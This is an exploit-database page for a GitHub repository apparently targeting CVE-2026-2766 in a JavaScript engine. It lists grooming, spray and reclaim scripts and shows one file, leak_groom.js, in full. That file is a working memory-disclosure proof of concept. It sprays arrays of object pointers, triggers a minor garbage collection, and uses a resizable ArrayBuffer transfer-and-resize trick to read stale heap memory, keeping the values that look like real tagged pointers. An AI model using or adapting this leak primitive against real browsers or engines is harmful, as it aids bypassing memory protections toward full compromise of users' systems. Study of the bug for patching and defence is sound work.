Exploit databaseDownload repository ZIP
GH-2b9ea63b27b73d350bc6823ab255a126
sneakynachos/cve-2026-2766-but-with-wasm
Sources for CVE-2026-2766
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files12
sneakynachos/cve-2026-2766-but-with-wasmRevision 89d2f3bd2272
- ↑..Parent directory
- README.md
- leak_4716.js
- leak_groom.js
- purge_check.js
- reclaim1.js
- reclaim2.js
- reclaim3.js
- reclaim4.js
- reclaim5.js
- reclaim6.js
- reclaim7.js
- spray_measure.js
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
research/leak_groom.js
JavaScript · 1,709 bytes// Groom test: can we leak REAL tagged pointers, not allocator junk?
// Strategy: place victim arrays full of tagged object pointers, drop them,
// minor-GC, then leak into the region.
function hex64(dv, off) {
const hi = dv.getUint32(off + 4, true);
const lo = dv.getUint32(off, true);
return "0x" + hi.toString(16).padStart(8,"0") + lo.toString(16).padStart(8,"0");
}
function tryLeak(maxLen) {
const rab = new ArrayBuffer(maxLen, { maxByteLength: maxLen });
new Uint8Array(rab).fill(0xAA);
const moved = rab.transfer(8);
moved.resize(maxLen);
const dv = new DataView(moved);
let out = [];
for (let off = 8; off + 8 <= maxLen; off += 8) {
const val = hex64(dv, off);
if (val !== "0x0000000000000000") out.push([off, val]);
}
return out;
}
function looksReal(v) {
// tagged object/string pointer with a plausible heap payload (not junk fill)
let tag = v.slice(0, 6); // 0xfffe / 0xfffc / 0xfffd
let payload = v.slice(6);
if (!["0xfffe","0xfffc","0xfffd"].includes(tag)) return false;
if (/^(4d|4b|2b|2f|e5|cd|aa|00)+$/.test(payload)) return false; // junk patterns
return true;
}
for (let i = 0; i < 20; i++) {
// victims: arrays whose elements vectors are full of tagged object ptrs
let victims = [];
for (let j = 0; j < 2000; j++) {
victims.push([{},{},{},{},{},{},{},{}]); // elements = OBJECT_PTR tags
}
victims = null;
minorgc();
let res = tryLeak(4096); // bigger window
let real = res.filter(([o,v]) => looksReal(v));
if (real.length > 0) {
print("attempt " + i + ": " + real.length + " pointer-looking slots");
for (const [o,v] of real.slice(0,6)) print(" [0x"+o.toString(16)+"] " + v);
}
}
print("done");